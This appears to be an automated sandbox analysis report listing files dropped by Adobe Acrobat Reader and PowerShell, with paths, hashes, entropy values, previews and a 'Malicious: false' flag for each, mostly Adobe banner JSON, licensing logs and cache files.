Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.28758481009633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJf+dPeUkwRe9:YvXKXBHUito/9G28Ukee9
MD5:	841D72D3EAA68B61FE4923C4B0FAAD32
SHA1:	5FF701B28786E419ABEA129FEC026FB8C53DC7C0
SHA-256:	396AEA9780C39F8E6A8799A8210E34CBEB06DCBBFE7518FE45918923D1768D4C
SHA-512:	894B6D85B716F40084C01EBCE83E2DC54132CDAC316F3AFE52D83C5D95DCA3156C486D199E2117A1B5E2178A4B200BEEA59A13180F09443F17A451A3BC58CFE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.284477254915963
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfbPtdPeUkwRe9:YvXKXBHUito/9GDV8Ukee9
MD5:	0DC2B60C9ECF9747CF386A7640A643E5
SHA1:	594151BDB73FE8CF0AB3B6202D84A3AE31D2A8F2
SHA-256:	62DE2A3C45B0373F22C80C2E9A3858A1893B1D41414F0F952C703A0E6060E0BF
SHA-512:	217CB70900F322BECC1BE0B75193E02659B39939B2C7C6A77071D6D8D716A15042C3CA11A76128AAAF494F0BB69C7D33E1BAD79B0BB194DD72459F9934AAC603
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286738714816669
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJf21rPeUkwRe9:YvXKXBHUito/9G+16Ukee9
MD5:	7D1896D43B6B9CAFCBC78D2858B060FB
SHA1:	F5753FA3DE83ED210DC51CB5568984CABFE43C65
SHA-256:	D4BD434D2F0D663C66F6277B22EDA48CE0704941BAC7EE1AE5D07F208ADAA74A
SHA-512:	77F3331ACBB38A3A5098A51B1651CA008F610B6165769610343643CEFFB459D81387C0D9354898CAA292E395521E123763E20187A3C2C0D892FF0BC2572D9D1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664823254379968
Encrypted:	false
SSDEEP:	24:Yv6XD6WamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:YvM6YBgkDMUJUAh8cvMj
MD5:	2FD5ED536CE159AA4F3B24D3F7001055
SHA1:	A17BFC631918EA34D04A2AC1552A3D500632203E
SHA-256:	2A8AEB6B7940706BBC91454E2243EBF46ED8E2B4EAC2014ED517F3AA38A90111
SHA-512:	E908161C7BEF7501C7BEFD85A8AB55F658845A47EF3C0D9ED977BF804523B964DA14AE56A1BA2EC9FC5992ACBAB8500C25FF33603A1DABC0ACE8A8D76D98EF97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.265642916565413
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJfshHHrPeUkwRe9:YvXKXBHUito/9GUUUkee9
MD5:	827DEA4B4B36B9271224FB535EDB56C7
SHA1:	A169BEF25EAD3EAC3B0BE31A51D7659105F2C055
SHA-256:	36306D7598470BDE9FDFEBF9373EFDD88CA227619F1982E1AF61BF1D4B57B9DB
SHA-512:	F432728A3EED192953734EF94A47EAD505B896F83421A419D337EC3E2FD992C6ED4C80AD2BBFDD0AFAD07768F2100E7B70953E6F5C5EE24A692D38EA3BA21705
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.268613374140507
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhNyRyUib5Glvp0YgWNgoAvJTqgFCrPeUkwRe9:YvXKXBHUito/9GTq16Ukee9
MD5:	4597383961463F62243B56463F6B30F9
SHA1:	5113520934112727D21BD78888402A218F9595E4
SHA-256:	59A2B48A7715D2C4AA32FBD06DD59966FD7554F23CC867A2AFA206DE7076C9FC
SHA-512:	1649B77AD298A0D16BE45E4BB6317FD23CA56D13D9405B071D4E44C88686961F47A367FAF3DAC93D59DDC1BE0E5616B7B939F41C4D02AABC466D23FE7979FB3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0fb2a965-9828-4e2e-a1f7-b1ea6b75a619","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736702311734,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136889745901849
Encrypted:	false
SSDEEP:	24:YgB5bIIqaOemB0ovkjjugj0ST2s72LSQC9hybaKdayBWq5y95PK9wOpeurFOG:YgXFZOTMuy3D7uShyTUq2JK9TL
MD5:	7E32B816537E9A807430437166855FB9
SHA1:	495AE7EC1902E58A5BE6D4F29042BB7FA83FE3C4
SHA-256:	2FD9CF21633C57798868DCF553DC680AA61920CF026E2DE02140AFE6981A6EBE
SHA-512:	4C2C74119400800783A4390772EAA0A1FCFCF43E060C8DAEA2ECF58639A0BBF77C82503EEEA18E48127DD7FA99BB8C7F58691B25A5073E1F92E97B228DD1CDA8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"dce26ac5d6060fe77ae198940c83e3d1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736527215000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"64ca910ba025c47b4da46aa2655a9db6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736527215000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b5538c7383822f0eca7325c6f35e8f08","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736527215000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"90b5bbdf2f3506866c41ca4bb3f7bc85","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736527215000},{"id":"DC_Reader_RHP_Intent_Banner","info":{"dg":"43b06d21558f796854d3796a79719f3d","sid":"DC_Reader_RHP_Intent_Banner"},"mimeType":"file","size":291,"ts":1736527215000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"8bae76061843ed2ccff7bb74ac1f1d6d","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4574799659436821
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI29LviuFuI7PB:/VmsrhoGgt5ZgNp75
MD5:	F5F67665B87EB4A81F08FAADFD8B5646
SHA1:	BA8322CE5A4D886ECAC74827E0A8CB52CF8570D4
SHA-256:	24709A069B7290E2C2899079A376FF113227E9C7723EE02E8E38B8E6D4E0C20F
SHA-512:	D0A0DB657EA101DD6E209B9D4E6AE50E0536BE922B7B2C56D04DBCFC42934599759C59DDF1F25355D67002A2849E2219C9D19DBE9C000447E0654275BDDB4C15
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9633305826727416
Encrypted:	false
SSDEEP:	48:7MshoGgpP5ZgrI26LviuFuI7PehZnqVl2GL7ms8:7VhoGgt5Zg0p72hNaVms8
MD5:	F410F111FFCDB9C5F49C35FF9BC88B8D
SHA1:	C287C4ED7C5A48AB90EF80F7ECCCA2957DA96E61
SHA-256:	5C9087BCAF3FBFCDF02CB481C297DBC6B93B8BC22F4876F88F039A63533635D0
SHA-512:	89CC2D32FD76EE8DD80BD3AAF5AA3E24B8B97848DE6A97D2066B0CA3A164BEBC93C351685ED8765D4BBE7B12B5BF3917F6E40FB57679DE74ED4D0F229B296AF4
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgU6gFO+oNou0p3MJO3Kts4GmYyu:6a6TZ44ADEU6+O+oNouatmK
MD5:	133B7BF5D6AE772BAA9810D049777BDE
SHA1:	7A75D29F84CD273C6151DA146EC2EDCCE3E0BC25
SHA-256:	05366607FCDB04893532F7C427AAF8E1EEF8C06343F4350E380152CD458AF33E
SHA-512:	9D06274F5EA34B61C0693E20E9C0A51FE4E10C87A2C5C1EDC9C193F9793C1E7014380D009B98641C30732D3F7A0492278770E89EACE771A1AEB7E35F6D1B5204
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI9ef24.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4917080724083283
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEH:Qw946cPbiOxDlbYnuRK+bDH
MD5:	95DD795C02BF54C5A611FC87A5FEADCC
SHA1:	168CDD0A624886ED26A66545DCCED49988E6ED1A
SHA-256:	B4B7DC3EEA744CDE30B4ECF0286CDBD79B4ACD31A67372E3733ECFD20FD98787
SHA-512:	7331A5716D0430530AB33E850BE311857B829A39780A1D1175C8C7FF22EA59C88DA64FCBC449C55CCC15B1B4387D43374D87ECC60D8C5EB00817E0298A59A5A1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.4.0.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tzvez5u.j3g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5ncuezx.rxw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-40-08-679.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.332929337035416
Encrypted:	false
SSDEEP:	384:HfxSZb47TQJ3AucKnA93D949hC3/wrTrboieAYIL77wrwWDccGvGLivBgS4Ro55B:zIJP
MD5:	327CC1CDB6EDFCE7DB7E557D458FEDDA
SHA1:	F4F61F11C0625458D136AB1883E4E35DD8DAFCDC
SHA-256:	E4F900607734C333B85C5096100B72D5AF6EE0516A6F10C8FB0FDC355B8FCC53
SHA-512:	A7B44E5481537C2EF8A561084D5139DB1C9EB7B0C95DC9355C2E4CC8F1C8547C7B253BFD3047D6BDF328C7E0EAE1AA3E42F5F8D5FB309A3BF2D01A345DC2A921
Malicious:	false
Preview:	SessionID=0e8906c7-3f4e-4401-9f0c-13b505b2cebb.1736527208730 Timestamp=2025-01-10T11:40:08:730-0500 ThreadID=3276 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0e8906c7-3f4e-4401-9f0c-13b505b2cebb.1736527208730 Timestamp=2025-01-10T11:40:08:731-0500 ThreadID=3276 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0e8906c7-3f4e-4401-9f0c-13b505b2cebb.1736527208730 Timestamp=2025-01-10T11:40:08:731-0500 ThreadID=3276 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0e8906c7-3f4e-4401-9f0c-13b505b2cebb.1736527208730 Timestamp=2025-01-10T11:40:08:731-0500 ThreadID=3276 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0e8906c7-3f4e-4401-9f0c-13b505b2cebb.1736527208730 Timestamp=2025-01-10T11:40:08:731-0500 ThreadID=3276 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.389897260624574
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbJycbKIzpcbl:2PLH8FVfpBJnY9bzq
MD5:	4510F4B0471FB47333079E6ECB85ED81
SHA1:	418C40318EB5D01EAE170BA1AB92828C059127EE
SHA-256:	4E99A80BD1603AF899947DCA250B2A4CA1C3DC637B42DC1276DA3F52F6115F0C
SHA-512:	82FE5677DC503623862F1887042E44396E4D1134C72F66AED59CE951547D51581E68DC38C860C9735E01F1C086E24ED14276EF316999B1FBD8A87C10C9BDA5CE
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\87216f0b-dea4-4792-a8a5-548d042b9311.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c5def9c8-503b-461e-83fe-bf117ccfd28b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	DEE0FE98070EB4399C6C08DEE92C8A7C
SHA1:	D08807DA97D939DA79375C93501EECC21D1FE6CF
SHA-256:	814464759EB985546897367FB0C95C0DF21167DA76399EAE08A87CE664B76575
SHA-512:	8D8B910C0C21E2F495EE16ABECC81B968791665EF30A46C6ABA1E0BB40F419D9A25FD75F80D0C0418F4E8D880E0A63BA9529113C6618C90B0CAB55D945D4DDFA
Malicious:	false
